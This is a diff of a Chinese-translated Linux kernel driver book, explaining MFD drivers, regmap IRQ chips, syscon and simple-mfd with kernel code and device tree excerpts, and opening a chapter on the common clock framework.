-创建的新平台设备将具有作为其平台数据的单元结构。 然后可以通过`pdev->mfd_cell->platform_data`访问实际平台数据。 驱动还可以使用`mfd_get_cell()`来检索与平台设备`const struct mfd_cell *cell = mfd_get_cell(pdev);`相对应的 MFD 单元。 - -此结构的每个成员的功能不言而喻。 不过,以下内容提供了更多详细信息。 - -元素`.resources`是一个数组,表示特定于子设备(也是平台设备)的资源,以及数组中的条目数`.num_resources`。 这些都是使用`platform_data`定义的,您可能希望为它们命名以便于检索。 以下是一个 MFD 驱动的示例,该驱动的原始核心源文件为`drivers/mfd/da9055-core.c`: - -```sh -static struct resource da9055_rtc_resource[] = { - { - .name = „ALM", - .start = DA9055_IRQ_ALARM, - .end = DA9055_IRQ_ALARM, - .flags = IORESOURCE_IRQ, - }, - { - .name = "TICK", - .start = DA9055_IRQ_TICK, - .end = DA9055_IRQ_TICK, - .flags = IORESOURCE_IRQ, - }, -}; -static const struct mfd_cell da9055_devs[] = { - ... - { - .of_compatible = "dlg,da9055-rtc", - .name = "da9055-rtc", - .resources = da9055_rtc_resource, - .num_resources = ARRAY_SIZE(da9055_rtc_resource), - }, - ... -}; -``` - -以下示例显示如何从子设备驱动检索资源,在本例中,该子设备驱动在`drivers/rtc/rtc-da9055.c`中实现: - -```sh -static int da9055_rtc_probe(struct platform_device *pdev) -{ - [...] - alm_irq = platform_get_irq_byname(pdev, "ALM"); - if (alm_irq < 0) - return alm_irq; - ret = devm_request_threaded_irq(&pdev->dev, alm_irq, NULL, - da9055_rtc_alm_irq, - IRQF_TRIGGER_HIGH | IRQF_ONESHOT, - "ALM", rtc); - if (ret != 0) - dev_err(rtc->da9055->dev, - "irq registration failed: %d\n", ret); - [...] -} -``` - -实际上,您应该使用`platform_get_resource()`、`platform_get_resource_byname()`、`platform_get_irq()`和`platform_get_irq_byname()`来检索资源。 - -使用`.of_compatible`时,该函数必须是 MFD 的子级(参见 MFD 设备的*设备树绑定*部分)。 您应该静态填充此结构的数组,其中包含与设备上的子设备一样多的条目: - -```sh -static struct resource da9055_rtc_resource[] = { - { - .name = „ALM", - .start = DA9055_IRQ_ALARM, - .end = DA9055_IRQ_ALARM, - .flags = IORESOURCE_IRQ, - }, - [...] -}; -[...] -static const struct mfd_cell da9055_devs[] = { - { - .of_compatible = "dlg,da9055-gpio", - .name = "da9055-gpio", - }, - { - .of_compatible = "dlg,da9055-regulator", - .name = "da9055-regulator", - .id = 1, - }, - [...] - { - .of_compatible = "dlg,da9055-rtc", - .name = "da9055-rtc", - .resources = da9055_rtc_resource, - .num_resources = ARRAY_SIZE(da9055_rtc_resource), - }, - { - .of_compatible = "dlg,da9055-watchdog", - .name = "da9055-watchdog", - }, -}; -``` - -填充`struct mfd_cell`数组后,必须将其传递给`devm_mfd_add_devices()`函数,如下所示: - -```sh -int devm_mfd_add_devices( - struct device *dev, - int id, - const struct mfd_cell *cells, - int n_devs, - struct resource *mem_base, - int irq_base, - struct irq_domain *domain) -``` - -此方法的参数解释如下: - -* `dev`是 MFD 芯片的通用结构器件结构。 它将用于设置子设备的父设备。 -* `id`:因为子设备是作为平台设备创建的,所以应该给它们一个 ID,这个字段应该设置为`PLATFORM_DEVID_AUTO`,以便自动分配 ID,在这种情况下,忽略相应小区的`mfd_cell.id`。 否则,您应该使用`PLATFORM_DEVID_NONE`。 -* `cells`是指向描述子设备的`struct mfd_cell`结构列表(实际上是一个数组)的指针。 -* `n_dev`是阵列中用于创建平台设备的`struct mfd_cell`条目数。 要创建与阵列中的单元格一样多的平台设备,应使用`ARRAY_SIZE()`宏。 -* `mem_base`:如果不是`NULL`,则其`.start`字段将被用作前面提到的数组中每个 MFD 单元的`IORESOURCE_MEM`类型的每个资源的基础。 下面是显示这一点的`mfd_add_device()`函数的摘录: - - ```sh - for (r = 0; r < cell->num_resources; r++) { - res[r].name = cell->resources[r].name; - res[r].flags = cell->resources[r].flags; - /* Find out base to use */ - if ((cell->resources[r].flags & IORESOURCE_MEM) && mem_base) { - res[r].parent = mem_base; - res[r].start = - mem_base->start + cell->resources[r].start; - res[r].end = - mem_base->start + cell->resources[r].end; - } else if (cell->resources[r].flags & IORESOURCE_IRQ) { - [...] - ``` - -* `irq_base`:如果设置了域,则忽略此参数。 否则,它的行为与`mem_base`类似,但对于类型为`IORESOURCE_IRQ`的每个资源。 下面是显示这一点的`mfd_add_device()`函数的摘录: - - ```sh - } else if (cell->resources[r].flags & IORESOURCE_IRQ) { - if (domain) { - /* Unable to create mappings for IRQ ranges. */ - WARN_ON(cell->resources[r].start != - cell->resources[r].end); - res[r].start = res[r].end = - irq_create_mapping( - domain,cell->resources[r].start); - } else { - res[r].start = - irq_base + cell->resources[r].start; - res[r].end = - irq_base + cell->resources[r].end; - } - } else { - [...] - ``` - -* `domain`:对于同时充当其子设备的 IRQ 控制器的 MFD 芯片,此参数将用作 IRQ 域,以创建这些子设备的 IRQ 映射。 它是这样工作的:对于每个单元中类型为`IORESOURCE_IRQ`的每个资源`r`,MFD 核心将创建一个相同类型的新资源`res`(实际上是一个 IRQ 资源,其`res.start`和`res.end`字段被设置为该域中对应于初始资源的`.start`字段的 IRQ 映射:`res[r].start = res[r].end = irq_create_mapping(domain, cell->resources[r].start);`)。 然后,新的 IRQ 资源被分配给当前小区的平台设备,并对应于其 virQ。 请看前面的参数描述中的摘录。 请注意,此参数可以是`NULL`。 - -现在让我们看看如何将这些内容与`da9055`MFD 驱动的摘录结合在一起: - -```sh -#define DA9055_IRQ_NONKEY_MASK 0x01 -#define DA9055_IRQ_ALM_MASK 0x02 -#define DA9055_IRQ_TICK_MASK 0x04 -#define DA9055_IRQ_ADC_MASK 0x08 -#define DA9055_IRQ_BUCK_ILIM_MASK 0x08 -/* - * PMIC IRQ - */ -#define DA9055_IRQ_ALARM 0x01 -#define DA9055_IRQ_TICK 0x02 -#define DA9055_IRQ_NONKEY 0x00 -#define DA9055_IRQ_REGULATOR 0x0B -#define DA9055_IRQ_HWMON 0x03 -struct da9055 { - struct regmap *regmap; - struct regmap_irq_chip_data *irq_data; - struct device *dev; - struct i2c_client *i2c_client; - int irq_base; - int chip_irq; -}; -``` - -在前面的摘录中,驱动定义了一些常量以及私有数据结构,当您阅读代码时,它们的含义将变得清晰。 之后,为寄存器映射内核定义 IRQ,如下所示: - -```sh -static const struct regmap_irq da9055_irqs[] = { - [DA9055_IRQ_NONKEY] = { - .reg_offset = 0, - .mask = DA9055_IRQ_NONKEY_MASK, - }, - [DA9055_IRQ_ALARM] = { - .reg_offset = 0, - .mask = DA9055_IRQ_ALM_MASK, - }, - [DA9055_IRQ_TICK] = { - .reg_offset = 0, - .mask = DA9055_IRQ_TICK_MASK, - }, - [DA9055_IRQ_HWMON] = { - .reg_offset = 0, - .mask = DA9055_IRQ_ADC_MASK, - }, - [DA9055_IRQ_REGULATOR] = { - .reg_offset = 1, - .mask = DA9055_IRQ_BUCK_ILIM_MASK, - }, -}; -static const struct regmap_irq_chip da9055_regmap_irq_chip = { - .name = "da9055_irq", - .status_base = DA9055_REG_EVENT_A, - .mask_base = DA9055_REG_IRQ_MASK_A, - .ack_base = DA9055_REG_EVENT_A, - .num_regs = 3, - .irqs = da9055_irqs, - .num_irqs = ARRAY_SIZE(da9055_irqs), -}; -``` - -在前面的摘录中,`da9055_irqs`是类型为`regmap_irq`的元素数组,它描述了一个泛型 regmap IRQ。 它被分配给类型为`regmap_irq_chip`的`da9055_regmap_irq_chip`,表示 regmap IRQ 芯片。 两者都是 regmap IRQ 数据结构集的一部分。 最后,实现了`probe`方法,如下所示: - -```sh -static int da9055_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - int ret; - struct da9055_pdata *pdata = dev_get_platdata(da9055->dev); - uint8_t clear_events[3] = {0xFF, 0xFF, 0xFF}; - [...] - ret = - devm_regmap_add_irq_chip( - &client->dev, da9055->regmap, - da9055->chip_irq, IRQF_TRIGGER_LOW | IRQF_ONESHOT, - da9055->irq_base, &da9055_regmap_irq_chip, - &da9055->irq_data); - if (ret < 0) - return ret; - da9055->irq_base = regmap_irq_chip_get_base( da9055->irq_data); - ret = devm_mfd_add_devices( - da9055->dev, -1, - da9055_devs, ARRAY_SIZE(da9055_devs), - NULL, da9055->irq_base, - regmap_irq_get_domain(da9055->irq_data)); - if (ret) - goto err; - [...] -} -``` - -在前面的探测方法中,将`da9055_regmap_irq_chip`(前面定义的)作为参数提供给`regmap_add_irq_chip()`,以便将有效的 regmap IRQ 控制器添加到 IRQ 核心。 此函数在成功时返回`O`。 此外,它还通过最后一个参数返回一个完全配置的`regmap_irq_chip_data`结构,稍后可以将其用作控制器的运行时数据结构。 此`regmap_irq_chip_data`结构将包含与先前添加的 IRQ 控制器相关联的 IRQ 域。 该 IRQ 域最终作为参数与 MFD 单元阵列及其根据单元数量的大小一起被给出给`devm_mfd_add_devices()`。 - -重要音符 - -请注意,`devm_mfd_add_devices()`实际上是`mfd_add_devices()`的资源管理版本,它具有以下函数调用序列: - -```sh -mfd_add_devices()-> mfd_add_device()-> platform_device_alloc() -> platform_device_add_data() -> platform_device_add_resources() -> platform_device_add() -``` - -有些 I2C 芯片本身和内部子器件具有不同的 I2C 地址。 这样的 I2C 子设备不能作为 I2C 客户端探测,因为 MFD 内核仅在给定 MFD 单元的情况下实例化平台设备。 此问题可通过以下方式解决: - -* 给定子设备的 I2C 地址和 MFD 芯片的适配器,创建一个虚拟 I2C 客户端。 这实际上对应于管理 MFD 设备的适配器(总线)。 这可以使用`i2c_new_dummy()`来实现。 应保存返回的 I2C 客户端以供以后使用-例如,使用`i2c_unregister_device()`,它应在卸载模块时调用。 -* 如果子设备需要自己的 regmap,则此 regmap 必须构建在其虚拟 I2C 客户端之上。 -* 仅存储 I2C 客户端(用于以后删除)或将 regmap 存储在可分配给底层平台设备的私有数据结构中。 - -为了总结前面的步骤,让我们来介绍一个真正的 MFD 设备 max8925 的驱动(它主要是一个电源管理 IC,但也由一大组子设备组成)。 我们的代码是原始代码的摘要(仅处理两个子设备),为了可读性而修改了函数名。 也就是说,可以在内核源代码树的`drivers/mfd/max8925-i2c.c`中找到原始驱动。 - -让我们跳到摘录,从上下文数据结构定义开始,如下所示: - -```sh -struct priv_chip { - struct device *dev; - struct regmap *regmap; - /* chip client for the parent chip, let's say the PMIC */ - struct i2c_client *client; - /* chip client for subdevice 1, let's say an rtc */ - struct i2c_client *subdev1_client; - /* chip client for subdevice 2 let's say a gpio controller */ - struct i2c_client *subdev2_client; - struct regmap *subdev1_regmap; - struct regmap *subdev2_regmap; - unsigned short subdev1_addr; /* subdevice 1 I2C address */ - unsigned short subdev2_addr; /* subdevice 2 I2C address */ -}; -const struct regmap_config chip_regmap_config = { - [...] -}; -const struct regmap_config subdev_rtc_regmap_config = { - [...] -}; -const struct regmap_config subdev_gpiochip_regmap_config = { - [...] -}; -``` - -在前面的摘录中,驱动定义了上下文数据结构`struct priv_chip`,其中包含子设备 regmap,然后初始化 MFD 设备 regmap 配置以及子设备自己的配置。 然后,定义`probe`方法,如下所示: - -```sh -static int my_mfd_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - struct priv_chip *chip; - struct regmap *map; - chip = devm_kzalloc(&client->dev, - sizeof(struct priv_chip), GFP_KERNEL); - map = devm_regmap_init_i2c(client, &chip_regmap_config); - chip->client = client; - chip->regmap = map; - chip->dev = &client->dev; - dev_set_drvdata(chip->dev, chip); - i2c_set_clientdata(chip->client, chip); - chip->subdev1_addr = client->addr + 1; - chip->subdev2_addr = client->addr + 2; - /* subdevice 1, let's say an RTC */ - chip->subdev1_client = i2c_new_dummy(client->adapter, - chip->subdev1_addr); - chip->subdev1_regmap = - devm_regmap_init_i2c(chip->subdev1_client, - &subdev_rtc_regmap_config); - i2c_set_clientdata(chip->subdev1_client, chip); - /* subdevice 2, let's say a gpio controller */ - chip->subdev2_client = i2c_new_dummy(client->adapter, - chip->subdev2_addr); - chip->subdev2_regmap = - devm_regmap_init_i2c(chip->subdev2_client, - &subdev_gpiochip_regmap_config); - i2c_set_clientdata(chip->subdev2_client, chip); - /* mfd_add_devices() is called somewhere */ - [...] -} -``` - -出于可读性的考虑,前面的摘录省略了错误检查。 此外,以下代码显示如何删除虚拟 I2C 客户端: - -```sh -static int my_mfd_remove(struct i2c_client *client) -{ - struct priv_chip *chip = i2c_get_clientdata(client); - mfd_remove_devices(chip->dev); - i2c_unregister_device(chip->subdev1_client); - i2c_unregister_device(chip->subdev2_client); - return 0; -} -``` - -最后,下面的简化代码展示了子设备驱动如何获取指向 MFD 驱动中设置的任一 regmap 数据结构的指针: - -```sh -static int subdev_rtc_probe(struct platform_device *pdev) -{ - struct priv_chip *chip = dev_get_drvdata(pdev->dev.parent); - struct regmap *rtc_regmap = chip->subdev1_regmap; - int ret; - [...] - if (!rtc_regmap) { - dev_err(&pdev->dev, "no regmap!\n"); - ret = -EINVAL; - goto out; - } - [...] -} -``` - -虽然我们已经掌握了开发 MFD 设备驱动所需的大部分知识,但为了对 MFD 设备有更好的(即不是硬编码的)描述,有必要将其与设备树集成。 这就是我们将在下一节中讨论的内容。 - -# MFD 设备的设备树绑定 - -尽管我们拥有编写自己的 MFD 驱动所需的工具和输入,但在设备树中定义底层 MFD 设备的描述是很重要的,因为这会让 MFD 内核知道我们的 MFD 设备是由什么组成的,以及如何处理它。 此外,设备树仍然是声明设备的正确位置,无论它们是否为 MFD。 请记住,其目的仅用于描述系统上的设备。 由于子设备是其内置到的 MFD 设备的子设备(存在父子绑定),因此最好将这些子设备节点声明在其父节点下,如下例所示。 此外,子设备使用的资源有时是父设备资源的一部分。 因此,它强化了将子设备节点放在主设备节点下面的想法。 在每个子设备节点中,Compatible 属性应该同时匹配子设备的`cell.of_compatible`字段和子设备的`platform_driver.of_match_table`数组中的一个`.compatible`字符串条目,或者同时匹配子设备的`cell.name`字段和子设备的`platform_driver.name`字段: - -重要音符 - -子设备的`cell.of_compatible`和`cell.name`字段是在 MFD 核心驱动中的子设备的`mfd_cell`结构中声明的字段。 - -```sh -&i2c3 { - pinctrl-names = "default"; - pinctrl-0 = <&pinctrl_i2c3>; - clock-frequency = <400000>; - status = "okay"; - pmic0: da9062@58 { - compatible = "dlg,da9062"; - reg = <0x58>; - pinctrl-names = "default"; - pinctrl-0 = <&pinctrl_pmic>; - interrupt-parent = <&gpio6>; - interrupts = <11 IRQ_TYPE_LEVEL_LOW>; - interrupt-controller; - regulators { - DA9062_BUCK1: buck1 { - regulator-name = "BUCK1"; - regulator-min-microvolt = <300000>; - regulator-max-microvolt = <1570000>; - regulator-min-microamp = <500000>; - regulator-max-microamp = <2000000>; - regulator-boot-on; - }; - DA9062_LDO1: ldo1 { - regulator-name = "LDO_1"; - regulator-min-microvolt = <900000>; - regulator-max-microvolt = <3600000>; - regulator-boot-on; - }; - }; - da9062_rtc: rtc { - compatible = "dlg,da9062-rtc"; - }; - watchdog { - compatible = "dlg,da9062-watchdog"; - }; - onkey { - compatible = "dlg,da9062-onkey"; - dlg,disable-key-power; - }; - }; -}; -``` - -在前面的设备树示例中,父节点(`da9062`,一个**PMIC**,**电源管理集成电路**)在其总线节点下声明。 此 PMIC 的调节输出被声明为 PMIC 节点的子节点。 在这里,再一次,每件事都是正常的。 现在,每个子设备都被声明为其父(实际上是`da9092`)节点下的独立设备节点。 让我们将重点放在子设备的`compatible`属性上,并以`onkey`为例。 此节点的 MFD 信元在 MFD 核心驱动(源文件为`drivers/mfd/da9063-core.c`)中声明,如下所示: - -```sh -static struct resource da9063_onkey_resources[] = { - { - .name = "ONKEY", - .start = DA9063_IRQ_ONKEY, - .end = DA9063_IRQ_ONKEY, - .flags = IORESOURCE_IRQ,d - }, -}; -static const struct mfd_cell da9062_devs[] = { - [...] - { - .name = "da9062-onkey", - .num_resources = ARRAY_SIZE(da9062_onkey_resources), - .resources = da9062_onkey_resources, - .of_compatible = "dlg,da9062-onkey", - }, -}; -``` - -现在,此`onekey`平台驱动结构在驱动(其源文件为`drivers/input/misc/da9063_onkey.c`)中声明(及其`.of_match_table`条目),如下所示: - -```sh -static const struct of_device_id da9063_compatible_reg_id_table[] = { - { .compatible = "dlg,da9063-onkey", .data = &da9063_regs }, - { .compatible = "dlg,da9062-onkey", .data = &da9062_regs }, - { }, -}; -MODULE_DEVICE_TABLE(of, da9063_compatible_reg_id_table); -[...] -static struct platform_driver da9063_onkey_driver = { - .probe = da9063_onkey_probe, - .driver = { - .name = DA9063_DRVNAME_ONKEY, - .of_match_table = da9063_compatible_reg_id_table, - }, -}; -``` - -您可以看到两个`compatible`字符串都与设备节点中节点的`compatible`字符串匹配。 另一方面,我们可以看到,相同的平台驱动可以用于两个或多个(子)设备。 那么,使用名称匹配将会令人困惑。 这就是为什么要使用设备树进行声明,使用`compatible`字符串进行匹配的原因。 到目前为止,我们已经了解了 MFD 子系统如何处理设备,反之亦然。 在下一节中,我们将把这些概念扩展到 syscon 和 Simple-mfd,这两个框架可以帮助开发 MFD 驱动。 - -# 了解 syscon 和 Simple-mfd - -**Syscon**代表代表**系统控制器**。 SoC 有时有一组 MMIO 寄存器,专门用于与特定 IP 无关的各种功能。 显然,这不可能有一个功能驱动,因为这些寄存器既不具有代表性,也没有足够的凝聚力来表示特定类型的设备。 Syscon 驱动处理这种情况。 Syscon 允许其他节点通过 regmap 机制访问此寄存器空间。 它实际上只是一组 regmap 的包装器 API。 当您请求访问 syscon 时,如果 regmap 尚不存在,则会创建该 regmap。 - -使用 syscon API 所需的标头为``。 由于此 API 基于 regmap,因此还必须包含``。 Syscon API 在内核源代码树的`drivers/mfd/syscon.c`中实现。 它的主要数据结构是`struct syscon`,尽管此结构不能直接使用: - -```sh -struct syscon { - struct device_node *np; - struct regmap *regmap; - struct list_head list; -}; -``` - -在前面的结构中,`np`是指向充当 syscon 的节点的指针。 它还用于设备节点的 syscon 查找。 `regmap`是与该 syscon 关联的 regmap,`list`用于实现内核链表机制,用于将系统中的所有 syscon 链接到`drivers/mfd/syscon.c`中定义的系统范围列表`syscon_list`。 这种链表机制允许遍历整个 syscon 列表,要么按节点匹配,要么按 regmap 匹配。 - -通过将`"syscon"`添加到应充当 Syscon 的设备节点的兼容字符串列表中,以独占方式从设备树中声明 Syscons。 在早期引导期间,根据默认 regmap 配置`syscon_regmap_config`,其兼容字符串列表中包含`syscon`的每个节点将其`reg`内存区域 IO 映射并绑定到 MMIO regmap,如下所示: - -```sh -static const struct regmap_config syscon_regmap_config = { - .reg_bits = 32, - .val_bits = 32, - .reg_stride = 4, -}; -``` - -然后,创建的 syscon 被添加到 syscon 框架范围的`syscon_list`,受`syscon_list_slock`自旋锁保护,如下所示: - -```sh -static DEFINE_SPINLOCK(syscon_list_slock); -static LIST_HEAD(syscon_list); -static struct syscon *of_syscon_register(struct device_node *np) -{ - struct syscon *syscon; - struct regmap *regmap; - void __iomem *base; - [...] - if (!of_device_is_compatible(np, "syscon")) - return ERR_PTR(-EINVAL); - [...] - spin_lock(&syscon_list_slock); - list_add_tail(&syscon->list, &syscon_list); - spin_unlock(&syscon_list_slock); - return syscon; -} -``` - -Syscon 绑定需要以下强制属性: - -* `compatible`:此属性值应为`"syscon"`。 -* `reg`:这是可以从 syscon 访问的寄存器区域。 - -以下是可选属性,用于破坏默认的`syscon_regmap_config`regmap 配置: - -* `reg-io-width`:应在设备上执行的 IO 访问的大小(或宽度,以字节为单位 -* `hwlocks`:对硬件自旋锁提供程序节点的 phandle 的引用 - -下面的中显示了一个示例,摘录自内核文档,其完整版本可在内核源代码的`Documentation/devicetree/bindings/mfd/syscon.txt`中找到: - -```sh -gpr: iomuxc-gpr@20e0000 { - compatible = "fsl,imx6q-iomuxc-gpr", "syscon"; - reg = <0x020e0000 0x38>; - hwlocks = <&hwlock1 1>; -}; -hwlock1: hwspinlock@40500000 { - ... - reg = <0x40500000 0x1000>; - #hwlock-cells = <1>; -}; -``` - -在设备树中,您可以通过三种不同的方式引用 syscon 节点:通过 phandle(在此驱动的设备节点中指定)、通过其路径,或者通过使用特定的兼容值搜索它,之后驱动可以询问节点(或此 regmap 的相关 OS 驱动)以确定寄存器的位置,最后直接访问寄存器。 您可以使用以下 syscon API 之一来获取指向与给定 syscon 节点关联的 regmap 的指针: - -```sh -struct regmap * syscon_node_to_regmap (struct device_node *np); -struct regmap * syscon_regmap_lookup_by_compatible(const char *s); -struct regmap * syscon_regmap_lookup_by_pdevname(const char *s); -struct regmap * syscon_regmap_lookup_by_phandle( - struct device_node *np, - const char *property); -``` - -前面的接口有如下说明: - -* `syscon_regmap_lookup_by_compatible()`:在给定 syscon 设备节点的一个兼容字符串的情况下,此函数返回关联的 regmap,如果该 regmap 尚不存在,则在返回它之前创建一个 regmap。 -* `syscon_node_to_regmap()`:给定 syscon 设备节点作为参数,此函数返回关联的 regmap,如果该 regmap 尚不存在,则在返回它之前创建一个 regmap。 -* `syscon_regmap_lookup_by_phandle()`:给定一个包含 syscon 节点标识符的 phandle 属性,此函数返回与此 syscon 节点对应的 regmap。 - -在展示使用上述 API 的示例之前,我们先介绍一下以下平台设备节点,我们将为其编写`probe`函数。 为了更好地理解`syscon_node_to_regmap()`,让我们将此节点声明为前一个`gpr`节点的子节点: - -```sh -gpr: iomuxc-gpr@20e0000 { - compatible = "fsl,imx6q-iomuxc-gpr", "syscon"; - reg = <0x020e0000 0x38>; - my_pdev: my_pdev { - compatible = "company,regmap-sample"; - regmap-phandle = <&gpr>; - [...] - }; -}; -``` - -现在已经定义了设备树节点,我们可以关注驱动的代码,实现方式如下,并使用前面列举的函数: - -```sh -static struct regmap *by_node_regmap; -static struct regmap *by_compat_regmap; -static struct regmap *by_pdevname_regmap; -static struct regmap *by_phandle_regmap; -static int my_pdev_regmap_sample(struct platform_device *pdev) -{ - struct device_node *np = pdev->dev.of_node; - struct device_node *syscon_node; - [...] - syscon_node = of_get_parent(np); - if (!syscon_node) - return -ENODEV; - /* If we have a pointer to the syscon device node, we use it */ - by_node_regmap = syscon_node_to_regmap(syscon_node); - of_node_put(syscon_node); - if (IS_ERR(by_node_regmap)) { - pr_err("%s: could not find regmap by node\n", __func__); - return PTR_ERR(by_node_regmap); - } - /* or we have one of the compatible string of the syscon node */ - by_compat_regmap = - syscon_regmap_lookup_by_compatible("fsl, imx6q-iomuxc-gpr"); - if (IS_ERR(by_compat_regmap)) { - pr_err("%s: could not find regmap by compatible\n", __func__); - return PTR_ERR(by_compat_regmap); - } - /* Or a phandle property pointing to the syscon device node - */ - by_phandle_regmap = - syscon_regmap_lookup_by_phandle(np, "fsl,tempmon"); - if (IS_ERR(map)) { - pr_err("%s: could not find regmap by phandle\n", __func__); - return PTR_ERR(by_phandle_regmap); - } - /* - * It is the extrem and rare case fallback - * As of Linux kernel v4.18, there is only one driver - * using this, drivers/tty/serial/clps711x.c - */ - char pdev_syscon_name[9]; - int index = pdev->id; - sprintf(syscon_name, "syscon.%i", index + 1); - by_pdevname_regmap = - syscon_regmap_lookup_by_pdevname(syscon_name); - if (IS_ERR(by_pdevname_regmap)) { - pr_err("%s: could not find regmap by pdevname\n", __func__); - return PTR_ERR(by_pdevname_regmap); - } - [...] - return 0; -} -``` - -在前面的示例中,如果我们认为`syscon_name`包含`gpr`设备的平台设备名称,那么`by_node_regmap`、`by_compat_regmap`、`by_pdevname_regmap`和`by_phandle_regmap`变量都将指向相同的 syscon regmap。 然而,这里的目的只是解释概念。 `my_pdev`可能是`gpr`的同级(或任何关系)节点。 在这里使用它作为它的子级是为了理解概念和代码,并根据具体情况说明这两个 API 都有自己的位置。 现在我们已经熟悉了 syscon 框架,让我们看看如何将其与 simple-mfd 一起使用。 - -## SIMPLE-MFD 简介 - -对于基于 MMIO 的 MFD 设备,在将其添加到系统之前可能不需要配置子设备。 由于此配置是从 MFD 核心驱动内部完成的,因此此 MFD 核心驱动的唯一目标将是使用平台子设备填充系统。 由于存在大量基于 MMIO 的 MFD 设备,因此会有大量冗余代码。 简单的 MFD 是一个简单的 DT 绑定,它解决了这个问题。 - -当`simple-mfd`字符串被添加到给定设备节点(这里被视为 MFD 设备)的兼容字符串列表中时,它将使用`for_each_child_of_node()`迭代器使成为该 MFD 设备的所有子节点的(**开放固件**)核心派生子设备(实际上是子设备)的**。 Simple-mfd 作为 Simple-bus 的别名在`drivers/of/platform.c`中实现,其文档位于内核源码树的`Documentation/devicetree/bindings/mfd/mfd.txt`中。** - -与 syscon 结合使用以创建 regmap,它有助于避免编写 MFD 驱动,并且开发人员可以将精力放在编写子设备驱动上。 以下是一个示例: - -```sh -snvs: snvs@20cc000 { - compatible = "fsl,sec-v4.0-mon", "syscon", "simple-mfd"; - reg = <0x020cc000 0x4000>; - snvs_rtc: snvs-rtc-lp { - compatible = "fsl,sec-v4.0-mon-rtc-lp"; - regmap = <&snvs>; - offset = <0x34>; - interrupts = , - ; - }; - snvs_poweroff: snvs-poweroff { - compatible = "syscon-poweroff"; - regmap = <&snvs>; - offset = <0x38>; - value = <0x60>; - mask = <0x60>; - status = "disabled"; - }; - snvs_pwrkey: snvs-powerkey { - compatible = "fsl,sec-v4.0-pwrkey"; - regmap = <&snvs>; - interrupts = ; - linux,keycode = ; - wakeup-source; - }; - [...] -}; -``` - -在前面的设备树摘录中,`snvs`是主要设备。 它由电源控制子设备(由主设备寄存器区域中的寄存器子设备表示)、`rtc`子设备以及电源键等组成。 完整的定义可以在`arch/arm/boot/dts/imx6qdl.dtsi`中找到,它是 i.MX6 芯片系列的 SoC 供应商`dtsi`。 通过抓取(搜索)它们的`compatible`属性的内容,可以在内核源代码中找到相应的驱动。 总而言之,对于`snvs`节点中的每个子节点,MFD 核心将创建一个相应的设备及其 regmap,该 regmap 将对应于主设备的内存区中的它们的内存区。 - -本节介绍了在 MMIO 设备上轻松进行 MFD 驱动开发的方法。 虽然 SPI/I2C 设备不属于这一类别,但它覆盖了几乎 95%的基于 MMIO 的 MFD 设备。 - -# 摘要 - -本章介绍 MFD 设备,以及 syscon 和 regmap API。 在这里,我们讨论了 MFD 设备如何工作,以及如何将 regmap 深度嵌入到 syscon 中。 读完本章后,我们可以假设您能够开发支持 regmap 的 IRQ 控制器,以及设计和使用 syscon 在设备之间共享寄存器区域。 下一章将讨论通用时钟框架,以及该框架是如何组织的、它的实现、如何使用它,以及如何添加您自己的时钟。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/04.md b/docs/master-linux-device-driver-dev/04.md deleted file mode 100644 index 28504b93..00000000 --- a/docs/master-linux-device-driver-dev/04.md +++ /dev/null @@ -1,1785 +0,0 @@ -# 四、公共时钟框架 - -从一开始,嵌入式系统总是需要时钟信号来协调其内部工作,以进行同步或电源管理(例如,在设备处于活动状态时启用时钟或根据某些标准(如系统负载)调整时钟)。 因此,Linux 一直都有时钟框架。 只有编程接口声明支持系统时钟树的软件管理,每个平台都必须实现此 API。 不同的**片上系统**(**SoCS**)有自己的实现。 这在一段时间内还不错,但人们很快就发现他们的硬件实现非常相似。 代码也变得杂乱和冗余,这意味着必须使用与平台相关的 API 来获取/设置时钟。 - -这是一个相当不舒服的情况。 然后,出现了**公共时钟框架(CCF)**,允许软件以独立于硬件的方式管理系统上可用的时钟。 CCF 是一个接口,允许我们控制各种时钟设备(大多数情况下,这些设备都嵌入在 SoC 中),并提供可用于控制它们的统一 API(启用/禁用、获取/设置速率、选通/取消选通等)。 在本章中,时钟的概念不是指**实时时钟**(**RTCS**),也不是指计时设备,后者是内核中有自己的子系统的其他类型的设备。 - -CCF 背后的主要思想是统一和抽象分布在不同 SoC 时钟驱动器中的相似代码。 这种标准化方法以以下方式引入了时钟提供者和时钟消费者的概念: - -* 提供者是与框架连接并提供对硬件的访问的 Linux 内核驱动,从而根据 SoC 数据表提供(使这些对消费者可用)时钟树(现在人们可以借助它来转储整个时钟树)。 -* 使用者是通过公共 API 访问框架的 Linux 内核驱动或子系统。 -* 也就是说,驱动既可以是提供者,也可以是使用者(然后它将消耗它提供的一个或多个时钟,或者其他人提供的一个或多个时钟)。 - -在本章中,我们将介绍 CCF 数据结构,然后在介绍消费者 API 之前重点编写时钟提供程序驱动(与时钟类型无关)。 我们将通过以下主题来实现这一点: - -* CCF 数据结构和接口 -* 编写时钟提供程序设备驱动 -* 时钟使用器设备驱动和 API - -# 技术要求 - -以下是本章的技术要求: - -* 具备高级计算机体系结构知识和 C 编程技能 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# CCF 数据结构和接口 - -在以前的内核时代,每个平台都必须实现一个在内核中定义的基本 API(抓取/释放时钟、设置/获取速率、启用/禁用时钟等),以供消费者驱动使用。 由于这些特定 API 的实现是由每台机器的代码完成的,因此在每台机器目录中都会产生一个类似的文件,并具有类似的逻辑来实现时钟提供程序功能。 这有几个缺点,其中有很多冗余代码。 后来,内核以时钟提供程序(`drivers/clk/clk.c`)的形式抽象了这个公共代码,这就是我们现在所说的 CCF 核心。 - -在使用 CCF 之前,需要通过`CONFIG_COMMON_CLK`选项将其支持拉入内核。 CCF 本身分为两部分: - -* **公共时钟框架核心**:这是框架的核心,不应该在您添加新驱动并提供`struct clk`的公共定义时进行修改,它统一了框架级代码和过去在各种平台上重复的传统平台相关实现。 这一半还允许我们在必须由每个时钟提供者提供的`struct clk_ops`之上包装使用者接口(也称为**CLK 实现**)。 -* **特定于硬件的一半**:它针对必须为每个新硬件时钟写入的时钟设备。 这需要驱动提供`struct clk_ops`,该回调对应于用于让我们在底层硬件上操作的回调(这些回调由时钟的核心实现调用),以及包装和抽象时钟硬件的相应的特定于硬件的结构。 - -两半通过`struct clk_hw`结构连接在一起。 这种结构有助于我们实现自己的硬件时钟类型。 